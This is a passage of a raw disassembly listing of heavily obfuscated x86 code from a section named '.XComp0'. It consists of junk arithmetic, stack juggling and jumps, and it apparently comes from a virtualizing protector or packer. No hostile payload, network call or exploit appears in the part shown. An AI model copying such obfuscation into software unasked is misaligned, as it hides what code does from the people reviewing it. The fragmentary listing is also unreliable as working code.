ecx, [esp] add esp, 4 sub [esp+4], edi sub dword ptr [esp+4], 5C3A4F99h push ebx mov ebx, 4C564DC6h jmp loc_5798F8 ; --------------------------------------------------------------------------- loc_58130B: ; CODE XREF: .XComp0:005756F2j mov [esp], esi jmp loc_57C7B5 ; --------------------------------------------------------------------------- loc_581313: ; CODE XREF: .XComp0:0057FBD1j push edx jmp loc_578D15 ; --------------------------------------------------------------------------- loc_581319: ; CODE XREF: .XComp0:0058115Bj pop ebp add ebp, 713076C3h xor ebp, 0B5D020FEh xor eax, ebp pop ebp add eax, ebx mov ebx, [esp] add esp, 4 shl eax, cl sub esp, 4 mov [esp], ebx sub esp, 4 jmp loc_578D21 ; --------------------------------------------------------------------------- loc_58134A: ; CODE XREF: .XComp0:00577782j mov ebx, 486230ECh mov esi, ebx jmp loc_581714 ; --------------------------------------------------------------------------- loc_581356: ; CODE XREF: .XComp0:00578304j pop esi jmp loc_57593C ; --------------------------------------------------------------------------- loc_58135C: ; CODE XREF: .XComp0:0057869Bj xor ebx, eax jmp loc_57F6A4 ; --------------------------------------------------------------------------- mov cx, [esp] push 5F3h mov [esp], esi push 148Dh mov [esp], esp push eax push ebp push edi mov edi, 2DD26CAAh xchg ecx, edi not ecx xchg ecx, edi inc edi shr edi, 4 not edi and edi, 1281698Bh jmp loc_57599B ; --------------------------------------------------------------------------- loc_581396: ; CODE XREF: .XComp0:0057E841j mov edi, 697C1F8Dh sub edi, 39042516h add edi, 49A61656h xor edi, 75D63417h jmp loc_5741E3 ; --------------------------------------------------------------------------- loc_5813B2: ; CODE XREF: .XComp0:0057B5FBj add edi, ecx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ecx, edi pop edi jmp loc_5743A7 ; --------------------------------------------------------------------------- loc_5813CF: ; CODE XREF: .XComp0:00580DD3j sub esi, 6B5D028Ah jmp loc_577ADE ; --------------------------------------------------------------------------- loc_5813DA: ; CODE XREF: .XComp0:00577BE0j xor edi, 0E74591C5h jmp loc_57E1CC ; --------------------------------------------------------------------------- loc_5813E5: ; CODE XREF: .XComp0:0057A062j mov esp, [esp] cmp cx, ax pushf jmp loc_573685 ; --------------------------------------------------------------------------- loc_5813F1: ; CODE XREF: .XComp0:0057EC6Cj push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp shr byte ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_581403: ; CODE XREF: .XComp0:00579A23j sub ah, 0A3h mov bh, ah jmp loc_5751D6 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ebx mov ebx, 5EB9371Eh dec ebx not ebx or ebx, 6A595796h add ebx, 1 jmp loc_57EC9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_58142D: ; CODE XREF: sub_5A47B5-24CADj xor al, cl push [esp+18h+var_18] pop ecx add esp, 4 push dx mov dl, 6Fh push 4F6Dh mov [esp+1Ah+var_1C+2], edx jmp loc_581F1B ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_581447: ; CODE XREF: .XComp0:00574186j or ebx, 33A24592h xor ebx, 33FE7FD2h add esi, ebx pop ebx jmp loc_575383 ; --------------------------------------------------------------------------- loc_58145B: ; CODE XREF: .XComp0:0057C916j shl ecx, 4 inc ecx add ecx, 30C618ECh xor ecx, 324A08EFh push 40B5h mov [esp], ebx jmp loc_574ECD ; --------------------------------------------------------------------------- loc_581478: ; CODE XREF: .XComp0:00573665j pop eax push edx push eax mov ah, 1Ch add ah, 1 jmp loc_57E2BC ; --------------------------------------------------------------------------- loc_581485: ; CODE XREF: .XComp0:0057FD44j mov bh, 2Ch mov dl, 0E3h xor dl, bh jmp loc_578899 ; --------------------------------------------------------------------------- loc_581490: ; CODE XREF: .XComp0:005791F5j add esp, 4 push edx mov edx, 169F377Bh shr edx, 6 sub edx, 40375EEBh push ebx mov ebx, 0C0231DF0h jmp loc_573790 ; --------------------------------------------------------------------------- loc_5814AD: ; CODE XREF: .XComp0:00581D79j mov [esp], ebp jmp loc_57D8A1 ; --------------------------------------------------------------------------- loc_5814B5: ; CODE XREF: .XComp0:005797A8j push cx pushf jmp loc_573541 ; --------------------------------------------------------------------------- mov cx, [esp] push 25B2h mov [esp], eax push esp pop eax add eax, 4 push 3B50h mov [esp], ecx jmp loc_57C90E ; --------------------------------------------------------------------------- loc_5814DD: ; CODE XREF: .XComp0:00576382j mov [esp], ebx jmp loc_57E9E3 ; --------------------------------------------------------------------------- loc_5814E5: ; CODE XREF: .XComp0:005783ECj add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ebx mov ebx, 4 add ebp, ebx pop ebx add ebp, 2 push ebp jmp loc_582E3E ; --------------------------------------------------------------------------- loc_58150C: ; CODE XREF: .XComp0:0057FDC7j xchg ecx, [esp] jmp loc_57C363 ; --------------------------------------------------------------------------- loc_581514: ; CODE XREF: .XComp0:0057CE5Bj shr ecx, 3 xor ecx, 27357C05h xor ecx, 3A0715B8h add ebp, ecx pop ecx push edx mov edx, 4 sub ebp, edx jmp loc_5819AA ; --------------------------------------------------------------------------- loc_581533: ; CODE XREF: .XComp0:00577314j xchg eax, ebx neg ebx jmp loc_577645 ; --------------------------------------------------------------------------- loc_58153B: ; CODE XREF: .XComp0:005756A6j push eax mov eax, 3E9F29E3h add edi, eax pop eax sub edi, esi push edx mov edx, 3E9F29E3h sub edi, edx pop edx pop esi sub edx, 17021E65h add edx, edi add edx, 17021E65h pop edi push ebx jmp loc_577D61 ; --------------------------------------------------------------------------- loc_581565: ; CODE XREF: .XComp0:0058336Cj add edi, eax mov eax, [esp] add esp, 4 jmp loc_57E846 ; --------------------------------------------------------------------------- loc_581572: ; CODE XREF: .XComp0:005763E8j sub ebp, 3B22145Ch add ebp, 7AD831D6h pop edx xchg ebp, [esp] mov esp, [esp] div ecx push 2FA8h mov [esp], edx jmp loc_581DDA ; --------------------------------------------------------------------------- loc_581594: ; CODE XREF: .XComp0:0057BAB7j mov bh, 0E8h sub bh, 1 dec bh jmp loc_5760CC ; --------------------------------------------------------------------------- loc_5815A0: ; CODE XREF: .XComp0:0057F4F6j mov ch, 0F1h add bl, ch pop ecx sub bl, al jmp loc_580909 ; --------------------------------------------------------------------------- loc_5815AC: ; CODE XREF: .XComp0:0057776Aj pop esi shl ecx, 5 sub ecx, 2E82B0FCh add edi, 52D23804h add edi, ecx sub edi, 52D23804h mov ecx, [esp] add esp, 4 jmp loc_57498F ; --------------------------------------------------------------------------- loc_5815D2: ; CODE XREF: .XComp0:00577187j push edx mov edx, 40AF1A22h sub eax, edx pop edx mov ebx, [esp] jmp loc_5759F1 ; --------------------------------------------------------------------------- loc_5815E3: ; CODE XREF: .XComp0:005781E9j add esp, 4 or edi, esi push dword ptr [esp] jmp loc_57D3CC ; --------------------------------------------------------------------------- loc_5815F3: ; CODE XREF: .XComp0:0057523Aj add ecx, 4 sub ecx, 4 jmp loc_573769 ; --------------------------------------------------------------------------- loc_581604: ; CODE XREF: .XComp0:00575E16j push ecx jmp loc_577823 ; --------------------------------------------------------------------------- loc_58160A: ; CODE XREF: .XComp0:00577A1Fj or dl, 31h shl dl, 3 push esi mov esi, esp jmp loc_57A08C ; --------------------------------------------------------------------------- loc_581618: ; CODE XREF: .XComp0:00575F52j mov ecx, [esp] add esp, 4 shr esi, 2 inc esi add esi, 4A30C480h push edx mov edx, 29B41B1Dh sub ebx, edx jmp loc_5758B5 ; --------------------------------------------------------------------------- loc_581638: ; CODE XREF: .XComp0:00574E7Fj mov ch, ah pop eax xor ch, al pop eax neg ch push ax mov al, ch not al jmp loc_579C58 ; --------------------------------------------------------------------------- loc_58164B: ; CODE XREF: .XComp0:0057CAC9j pop dword ptr [esp] push esi mov esi, 4 jmp loc_57E6D7 ; --------------------------------------------------------------------------- loc_581659: ; CODE XREF: .XComp0:00576C15j pop edx pop ebx xchg eax, [esp] pop esp mov [esp], eax jmp loc_573541 ; --------------------------------------------------------------------------- loc_581667: ; CODE XREF: .XComp0:0057E64Cj mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_57822F ; --------------------------------------------------------------------------- loc_58167C: ; CODE XREF: .XComp0:00575D69j mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx push esp pop ecx jmp loc_574AC0 ; --------------------------------------------------------------------------- loc_5816B6: ; CODE XREF: .XComp0:0057C7B0j add ecx, 4 jmp loc_581C31 ; --------------------------------------------------------------------------- loc_5816C1: ; CODE XREF: .XComp0:0057498Aj pop esp sub esp, 4 mov [esp], ebp mov ebp, 65D86E5Bh add ebp, 9A2791A9h sub eax, 6C5667CBh add eax, ebp add eax, 6C5667CBh mov ebp, [esp] add esp, 4 add eax, 2 xchg eax, [esp] mov esp, [esp] push 7F81h mov [esp], ebx jmp loc_5756E8 ; --------------------------------------------------------------------------- loc_5816FE: ; CODE XREF: .XComp0:0057CEF9j mov esi, 3A806D1h push edx mov edx, 58213454h xor edx, 731A2D06h jmp loc_5776D2 ; --------------------------------------------------------------------------- loc_581714: ; CODE XREF: .XComp0:00581351j pop ebx push eax jmp loc_577026 ; --------------------------------------------------------------------------- loc_58171B: ; CODE XREF: .XComp0:00581FADj and edx, 64912B10h add edx, 2DCB5299h jmp loc_582E05 ; --------------------------------------------------------------------------- loc_58172C: ; CODE XREF: .XComp0:00576603j add ebx, eax push 655Ah mov [esp], eax mov eax, 782C1E1Ah push 5F9Bh mov [esp], edi mov edi, 6B262D9Bh sub ebx, edi mov edi, [esp] jmp loc_579EEB ; --------------------------------------------------------------------------- loc_581752: ; CODE XREF: .XComp0:00582779j xchg eax, [esp] pop esp push ebx push ebp jmp loc_5805C7 ; --------------------------------------------------------------------------- loc_58175D: ; CODE XREF: .XComp0:0057AD7Cj xchg eax, edx xor edx, 0CAF5097Eh push edx add dword ptr [esp], 53E961F3h pop edi sub edi, 53E961F3h pop edx add [esp+4], edi mov edi, [esp] add esp, 4 jmp loc_579A92 ; --------------------------------------------------------------------------- loc_581783: ; CODE XREF: .XComp0:0058064Dj mov esp, [esp] mov [esp], eax sub dword ptr [esp], 1 pop eax push 7E63h mov [esp], ebp push 10h pop ebp jmp loc_574A0D ; --------------------------------------------------------------------------- loc_5817A4: ; CODE XREF: .XComp0:00575F8Cj pop eax add eax, edi mov edi, [esp] push ecx mov ecx, esp push 7156h mov [esp], ebp mov ebp, 4 add ecx, ebp pop ebp jmp loc_5808A2 ; --------------------------------------------------------------------------- loc_5817C2: ; CODE XREF: .XComp0:0057E5A1j mov [esp], cx pop di jmp loc_5774F9 ; --------------------------------------------------------------------------- loc_5817CD: ; CODE XREF: .XComp0:0057EF35j pop ebp push 2731h mov [esp], edi mov edi, 4 add ebp, edi jmp loc_5795E6 ; --------------------------------------------------------------------------- loc_5817E2: ; CODE XREF: .XComp0:005765EBj add eax, 4 jmp loc_57F6F7 ; --------------------------------------------------------------------------- loc_5817EC: ; CODE XREF: .XComp0:0057BBBBj not ebx sub ebx, 725431DEh sub edx, ebx jmp loc_57FEEE ; --------------------------------------------------------------------------- lodsd push 1DE5h mov [esp], edx mov edx, 495C7DF0h jmp loc_57F012 ; --------------------------------------------------------------------------- loc_58180E: ; CODE XREF: .XComp0:00579DD3j pop ebx shr ebx, 5 neg ebx push edi jmp loc_57F981 ; --------------------------------------------------------------------------- loc_58181A: ; CODE XREF: .XComp0:0057AFA2j add esp, 4 sub esi, 0AD35ADABh jmp loc_57F33D ; --------------------------------------------------------------------------- loc_58182B: ; CODE XREF: .XComp0:00583615j mov edx, 0 jmp loc_57CE70 ; --------------------------------------------------------------------------- loc_581835: ; CODE XREF: .XComp0:00582902j push esp push dword ptr [esp] pop esi add esp, 4 jmp loc_57E5C1 ; --------------------------------------------------------------------------- loc_581845: ; CODE XREF: .XComp0:0057DF0Fj mov edi, 515027E7h sub edi, 0DAD10F52h add edx, edi pop edi add edx, 5D9B74EDh push dword ptr [esp] pop esi jmp loc_57426C ; --------------------------------------------------------------------------- loc_581862: ; CODE XREF: .XComp0:0057A1EFj push ebp mov ebp, 10C46B69h xor ebp, 3B8E31DEh sub eax, ebp pop ebp pop ecx add eax, ebx sub esp, 4 mov [esp], esi mov esi, 2E4F185Dh push eax push edx mov edx, 0F3C4DB0h mov eax, 4C393C27h xor eax, edx pop edx push edi mov edi, 1A31410h jmp loc_5760BA ; --------------------------------------------------------------------------- loc_581899: ; CODE XREF: .XComp0:0057EE88j push edi mov edi, esp push 4F16h mov [esp], ebp push ebx mov ebx, 4 jmp loc_5773D7 ; --------------------------------------------------------------------------- loc_5818AF: ; CODE XREF: .XComp0:0057B510j shl ebx, 2 add ebx, 1F58AED0h sub eax, ebx pop ebx sub eax, esi add eax, 3A59311Ch pop esi mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push 0A8h mov [esp], edx mov edx, 1AD33779h jmp loc_57FEBD ; --------------------------------------------------------------------------- loc_5818F6: ; CODE XREF: .XComp0:00581DAAj mov ebx, 4 add esi, ebx pop ebx push ebx mov ebx, 4 sub esi, 72D2334Dh add esi, ebx jmp loc_579BDE ; --------------------------------------------------------------------------- loc_581911: ; CODE XREF: .XComp0:00577458j mov edx, 2F551758h add eax, edx jmp loc_57C02C ; --------------------------------------------------------------------------- loc_58191D: ; CODE XREF: .XComp0:0057FAEFj sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] jmp loc_576C08 ; --------------------------------------------------------------------------- loc_58192C: ; CODE XREF: .XComp0:0057EBFEj mov al, 0B8h jmp loc_576E24 ; --------------------------------------------------------------------------- loc_581933: ; CODE XREF: .XComp0:0057ED27j sub ebx, 0F11A39Ch or eax, ebx pop ebx dec eax add eax, 9466A014h jmp loc_580029 ; --------------------------------------------------------------------------- loc_581947: ; CODE XREF: .XComp0:00573AA1j add ebx, 7D4706DBh push 6556h mov [esp], eax mov eax, 69306996h inc eax and eax, 6195778Fh jmp loc_579DD8 ; --------------------------------------------------------------------------- loc_581965: ; CODE XREF: .XComp0:00574298j add ebp, 4 xchg ebp, [esp] mov esp, [esp] and esi, 248268E2h add esi, 21545834h sub esi, 0BFAEE9ECh add edx, 56E57178h sub edx, esi sub edx, 56E57178h mov esi, [esp] add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_58199C: ; CODE XREF: .XComp0:00578827j mov [esp], esp jmp loc_57E441 ; --------------------------------------------------------------------------- loc_5819A4: ; CODE XREF: .XComp0:005749DBj pop edi jmp loc_57B85E ; --------------------------------------------------------------------------- loc_5819AA: ; CODE XREF: .XComp0:0058152Ej pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_578C7B ; --------------------------------------------------------------------------- loc_5819B9: ; CODE XREF: .XComp0:0057F3CBj push dword ptr [esp] pop ecx jmp loc_574F01 ; --------------------------------------------------------------------------- loc_5819C2: ; CODE XREF: .XComp0:00581E0Cj pop ecx sub ah, 22h jmp loc_57C81C ; --------------------------------------------------------------------------- loc_5819CB: ; CODE XREF: .XComp0:00574A1Bj push 459Ah mov [esp], esi push 3CD2h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] push esi jmp loc_57A29D ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp push 52B2h mov [esp], edi jmp loc_58023E ; --------------------------------------------------------------------------- loc_5819FC: ; CODE XREF: .XComp0:0057B1D4j shl eax, 1 push ebx mov ebx, 1DC7406Ch or ebx, 39361EBDh inc ebx add ebx, 17CD6AEAh and ebx, 665522B8h jmp loc_57FF74 ; --------------------------------------------------------------------------- loc_581A1C: ; CODE XREF: .XComp0:0057C601j mov ebx, 50FE5E19h inc ebx push ebp mov ebp, 8A77F87h xor ebp, 3A2A39ABh not ebp neg ebp shl ebp, 4 push ebx mov ebx, 0B6068C59h jmp loc_57A6BC ; --------------------------------------------------------------------------- loc_581A40: ; CODE XREF: .XComp0:0057B5EEj mov esp, [esp] mov [esp], esi mov esi, 2 add ebp, esi pop esi jmp loc_579D72 ; --------------------------------------------------------------------------- loc_581A53: ; CODE XREF: .XComp0:0057F852j pop eax push eax jmp loc_574F16 ; --------------------------------------------------------------------------- loc_581A5A: ; CODE XREF: .XComp0:00579D75j mov esp, [esp] imul cx, ax push cx pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_581A69: ; CODE XREF: .XComp0:005778E9j xor esi, edi pop edi add ebx, esi jmp loc_57891A ; --------------------------------------------------------------------------- loc_581A73: ; CODE XREF: .XComp0:00576E80j pop esi jmp loc_579ED7 ; --------------------------------------------------------------------------- loc_581A79: ; CODE XREF: .XComp0:005809BEj pop eax push 595Bh mov [esp], ecx sub esp, 4 jmp loc_57AB6A ; --------------------------------------------------------------------------- loc_581A8A: ; CODE XREF: .XComp0:0057931Dj pop eax or ebx, 9FA2FAEh sub ebx, 0FFFF6FEBh add ecx, ebx pop ebx push esi push 4 pop esi sub ecx, esi pop esi jmp loc_57AF32 ; --------------------------------------------------------------------------- loc_581AA9: ; CODE XREF: .XComp0:0057E9E4j mov ebx, [esp] push eax mov eax, esp add eax, 4 jmp loc_578EBB ; --------------------------------------------------------------------------- loc_581AB9: ; CODE XREF: .XComp0:0057D824j xor [esp], al pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_581AC2: ; CODE XREF: .XComp0:0057D01Dj push 4F40h mov [esp], esi jmp loc_57CD14 ; --------------------------------------------------------------------------- loc_581ACF: ; CODE XREF: .XComp0:00573CCBj mov bl, dl pop edx sub bl, 12h mov ch, bl pop ebx sub bl, ch pop ecx movzx eax, al pop small word ptr [edi+eax*4] jmp loc_573541 ; --------------------------------------------------------------------------- loc_581AE7: ; CODE XREF: .XComp0:0057F0BEj add esp, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebp push 3D5Eh mov [esp], ebx pop ebp mov eax, ebp mov ebp, [esp] push ebp mov ebp, esp jmp loc_578E3F ; --------------------------------------------------------------------------- loc_581B09: ; CODE XREF: .XComp0:00582733j sub ebp, 1147463Ah sub ebp, 6C39227Bh sub ebp, eax add ebp, 6C39227Bh add ebp, 1147463Ah pop eax pop edx push edx jmp loc_57824C ; --------------------------------------------------------------------------- loc_581B2B: ; CODE XREF: .XComp0:0057A26Ej mov [esp], ecx push eax push 57292A65h pop eax add eax, 0E234F1D7h jmp loc_57FDE8 ; --------------------------------------------------------------------------- loc_581B3F: ; CODE XREF: .XComp0:00579741j pop ebp jmp loc_576557 ; --------------------------------------------------------------------------- loc_581B45: ; CODE XREF: .XComp0:00574704j add edx, 0F58E2F5h mov esi, edx jmp loc_580A38 ; --------------------------------------------------------------------------- loc_581B52: ; CODE XREF: .XComp0:0057DF22j add esi, 934C8B7Ah mov ecx, esi pop esi push 9B1h mov [esp], ebp mov ebp, 280B39E8h shl ebp, 3 jmp loc_5740C4 ; --------------------------------------------------------------------------- loc_581B70: ; CODE XREF: .XComp0:005820F7j mov [esp], edx pop dword ptr [edi+20h] jmp loc_574A20 ; --------------------------------------------------------------------------- loc_581B7B: ; CODE XREF: .XComp0:00573582j push esi push esp jmp loc_57A512 ; --------------------------------------------------------------------------- loc_581B82: ; CODE XREF: .XComp0:005796C9j pop edx sub esp, 4 mov [esp], eax mov eax, 6A15620Eh push 0 sub [esp], eax pop eax add eax, 0FFFFFFFFh add eax, 1 push edx mov edx, 61B25C12h xor edx, 4C967CDCh jmp loc_579174 ; --------------------------------------------------------------------------- loc_581BB1: ; CODE XREF: .XComp0:005805B8j xor ebx, 284C383Ah sub ebx, 0DAFD159Ch sub esi, ebx pop ebx sub esi, 0BE573E9h add esi, ebx add esi, 0BE573E9h add esi, 2F543209h mov ebx, [esp] add esp, 4 add esi, 2 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5742E2 ; --------------------------------------------------------------------------- loc_581BFA: ; CODE XREF: .XComp0:005810CBj pop esi push 68A2h mov [esp], ebx push 2F823EE8h mov ebx, [esp] jmp loc_579878 ; --------------------------------------------------------------------------- loc_581C10: ; CODE XREF: .XComp0:00579630j sub eax, ebp pop ebp jmp loc_57FD36 ; --------------------------------------------------------------------------- loc_581C18: ; CODE XREF: .XComp0:00583270j push esi push ecx mov ecx, 2B082CDFh dec ecx dec ecx push edx jmp loc_575F40 ; --------------------------------------------------------------------------- loc_581C27: ; CODE XREF: .XComp0:0057B3F3j pop ebx shr ecx, 0Bh push edi jmp loc_57ECD4 ; --------------------------------------------------------------------------- loc_581C31: ; CODE XREF: .XComp0:005816BCj xchg ecx, [esp] pop esp push edi mov edi, 2 add ebx, edi mov edi, [esp] jmp loc_579AC5 ; --------------------------------------------------------------------------- loc_581C45: ; CODE XREF: .XComp0:0057F10Ej shr eax, 0Bh xor ecx, eax push 2C4Bh mov [esp], ebx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 31AAh mov [esp], edi mov edi, esp add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp] pop esp push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp] pop esp push eax push esp pop eax add eax, 4 push ecx mov ecx, 4 jmp loc_57D35B ; --------------------------------------------------------------------------- loc_581CBF: ; CODE XREF: .XComp0:0057771Dj pop esp sub esp, 4 mov [esp], edx push eax mov al, 4Dh sub esp, 4 mov [esp], eax jmp loc_57FA60 ; --------------------------------------------------------------------------- loc_581CD7: ; CODE XREF: .XComp0:005762E1j sub ebp, 0C513221h sub ebp, esi add ebp, 0C513221h pop esi sub esp, 4 jmp loc_580478 ; --------------------------------------------------------------------------- loc_581CEE: ; CODE XREF: .XComp0:0057517Ej mov al, 63h shl al, 4 shr al, 2 and al, 2Fh add al, 0BBh add al, 0Ch mov dh, al pop eax add al, dh pop edx sub al, ch sub al, 0D3h jmp loc_5800BA ; --------------------------------------------------------------------------- loc_581D0B: ; CODE XREF: .XComp0:0057D4BFj sub bl, 1 shr bl, 7 push eax push ecx mov cl, 74h mov ah, cl pop ecx push ebx mov bh, 43h dec bh sub bh, 0D6h push 104Fh mov [esp], edx mov dh, 8Dh sub dh, 1Ah xor bh, dh pop edx neg bh push ecx push edx mov dl, 9Eh mov ch, 3Eh add ch, dl pop edx sub bh, ch pop ecx add bh, 4Ch sub ah, 8Eh sub ah, bh add ah, 8Eh mov ebx, [esp] add esp, 4 shr ah, 5 push ebx push eax mov al, 78h mov bh, 6Ah xor bh, al mov eax, [esp] jmp loc_5796BF ; --------------------------------------------------------------------------- jmp loc_573541 ; --------------------------------------------------------------------------- loc_581D6A: ; CODE XREF: .XComp0:00574A80j mov esp, [esp] mov [esp], eax push dword ptr [esp] pop eax push 7444h jmp loc_5814AD ; --------------------------------------------------------------------------- loc_581D7E: ; CODE XREF: .XComp0:00576B86j push ebp push esi mov esi, 5C6A7D98h dec esi not esi jmp loc_577E7F ; --------------------------------------------------------------------------- loc_581D8D: ; CODE XREF: .XComp0:0058059Cj add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push 4D17h jmp loc_57BC85 ; --------------------------------------------------------------------------- loc_581DA9: ; CODE XREF: .XComp0:00581E52j push ebx jmp loc_5818F6 ; --------------------------------------------------------------------------- loc_581DAF: ; CODE XREF: .XComp0:00574853j mov [esp], eax mov ah, 0C5h shr ah, 7 shr ah, 2 push ecx mov ch, 38h shr ch, 2 inc ch xor ch, 7Dh xor ah, ch pop ecx jmp loc_582A4B ; --------------------------------------------------------------------------- loc_581DCD: ; CODE XREF: .XComp0:0057C6FDj sub esi, 4E620983h sub esi, edx jmp loc_577BE5 ; --------------------------------------------------------------------------- loc_581DDA: ; CODE XREF: .XComp0:0058158Fj push eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_581DE1: ; CODE XREF: .XComp0:005800DEj mov [esp], eax mov eax, 124954A9h sub esi, eax pop eax jmp loc_5772BE ; --------------------------------------------------------------------------- loc_581DF1: ; CODE XREF: .XComp0:0057459Ej mov eax, esi pop esi add esi, eax mov eax, [esp] jmp loc_580FF5 ; --------------------------------------------------------------------------- loc_581DFE: ; CODE XREF: .XComp0:00582991j pop ecx jmp loc_57CE69 ; --------------------------------------------------------------------------- loc_581E04: ; CODE XREF: .XComp0:005836F9j shr cl, 2 sub cl, 51h sub ah, cl jmp loc_5819C2 ; --------------------------------------------------------------------------- loc_581E11: ; CODE XREF: .XComp0:005764B4j push ebp mov ebp, 1A7C335Fh jmp loc_574AF2 ; --------------------------------------------------------------------------- loc_581E1C: ; CODE XREF: .XComp0:005756FEj pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_57FF98 ; --------------------------------------------------------------------------- loc_581E34: ; CODE XREF: .XComp0:00574A63j pop eax add dh, 24h xor dh, 71h jmp loc_57B535 ; --------------------------------------------------------------------------- loc_581E40: ; CODE XREF: .XComp0:0057B2EFj mov esp, [esp] jmp loc_5812A4 ; --------------------------------------------------------------------------- loc_581E48: ; CODE XREF: .XComp0:00574E9Aj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_581DA9 ; --------------------------------------------------------------------------- loc_581E57: ; CODE XREF: .XComp0:0057BFF6j push esi jmp loc_57E375 ; --------------------------------------------------------------------------- loc_581E5D: ; CODE XREF: .XComp0:00578BB8j mov ecx, esp push esi mov esi, 56D20557h or esi, 62233F44h push ecx jmp loc_578A2D ; --------------------------------------------------------------------------- loc_581E71: ; CODE XREF: .XComp0:0057AE18j xor eax, ebx push edi mov edi, 54F1404Eh push edx mov edx, 0AC23AD6h xor edx, 0DE47091h and edx, 29691E8Ah jmp loc_580AB0 ; --------------------------------------------------------------------------- loc_581E90: ; CODE XREF: .XComp0:0057FF4Dj shr ah, 4 push dx mov dl, 3Fh and ah, dl pop dx sub ah, 75h jmp loc_57932A ; --------------------------------------------------------------------------- loc_581EA3: ; CODE XREF: .XComp0:0057FEB8j pop ebp inc ecx push ecx inc dword ptr [esp] pop ecx xor ecx, 59107313h or eax, ecx jmp loc_581258 ; --------------------------------------------------------------------------- loc_581EB7: ; CODE XREF: .XComp0:00577F36j pop ecx add ch, ah pop ax not ch jmp loc_57401D ; --------------------------------------------------------------------------- loc_581EC3: ; CODE XREF: .XComp0:0057E9DEj or edx, 2875231Fh xor edx, 15212A16h push edx not dword ptr [esp] pop edx shl edx, 7 or edx, 6259121Ah jmp loc_57CE0C ; --------------------------------------------------------------------------- loc_581EE2: ; CODE XREF: .XComp0:0057BA3Bj xchg ebp, [esp] jmp loc_576602 ; --------------------------------------------------------------------------- loc_581EEA: ; CODE XREF: .XComp0:0058216Cj pop ecx push edx push dword ptr [esp+4] pop edx jmp loc_57CC9F ; --------------------------------------------------------------------------- loc_581EF6: ; CODE XREF: .XComp0:00583721j sub esp, 4 mov [esp], esp push edi push eax mov eax, 7D3C6404h mov edi, eax pop eax jmp loc_57851C ; --------------------------------------------------------------------------- loc_581F0E: ; CODE XREF: .XComp0:0057F474j mov [esp], esi push 2383h jmp near ptr byte_57BD93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_581F1B: ; CODE XREF: sub_5A47B5-23373j mov dl, 61h sub dl, 0D2h sub dl, 0BFh sub al, dl pop edx sub al, dl push ebx mov bl, 17h xchg dl, bl jmp loc_579AE3 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_581F32: ; CODE XREF: .XComp0:00580344j push ebp mov ebp, 0E060BAAh jmp loc_57876B ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_576D5D ; --------------------------------------------------------------------------- loc_581F47: ; CODE XREF: .XComp0:0057D809j push edx jmp loc_57C857 ; --------------------------------------------------------------------------- loc_581F4D: ; CODE XREF: .XComp0:00578C7Cj mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, 389C3215h xor [esp+4], ecx pop ecx jmp loc_578EA5 ; --------------------------------------------------------------------------- loc_581F65: ; CODE XREF: .XComp0:005775D8j shl eax, 2 xor eax, 43C47A7Eh jmp loc_579C95 ; --------------------------------------------------------------------------- loc_581F72: ; CODE XREF: .XComp0:00580F5Fj sub esp, 4 jmp loc_579322 ; --------------------------------------------------------------------------- loc_581F7D: ; CODE XREF: .XComp0:00575549j push ecx mov ecx, 17A84CA4h jmp loc_577491 ; --------------------------------------------------------------------------- loc_581F88: ; CODE XREF: .XComp0:00582629j push 47AEh mov [esp], esi push edx push eax mov eax, 3D5928C4h push esi mov esi, eax mov edx, esi pop esi pop eax dec edx push edx dec dword ptr [esp] pop edx shr edx, 2 and edx, 40767C1Bh jmp loc_58171B ; --------------------------------------------------------------------------- loc_581FB2: ; CODE XREF: .XComp0:00576E96j sub al, 11h mov edx, [esp] add esp, 4 sub al, bl add al, 0ACh push ebx jmp loc_579EAF ; --------------------------------------------------------------------------- loc_581FC4: ; CODE XREF: .XComp0:0057C807j mov esi, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx push 4853h mov [esp], ebx push 4 pop ebx add ecx, ebx pop ebx add ecx, 4 push ecx jmp loc_580EB0 ; --------------------------------------------------------------------------- loc_581FEC: ; CODE XREF: .XComp0:005779B5j shr eax, 4 sub eax, 40155A4h add ebx, eax pop eax jmp loc_57BAD4 ; --------------------------------------------------------------------------- loc_581FFC: ; CODE XREF: .XComp0:0057AB24j and bl, 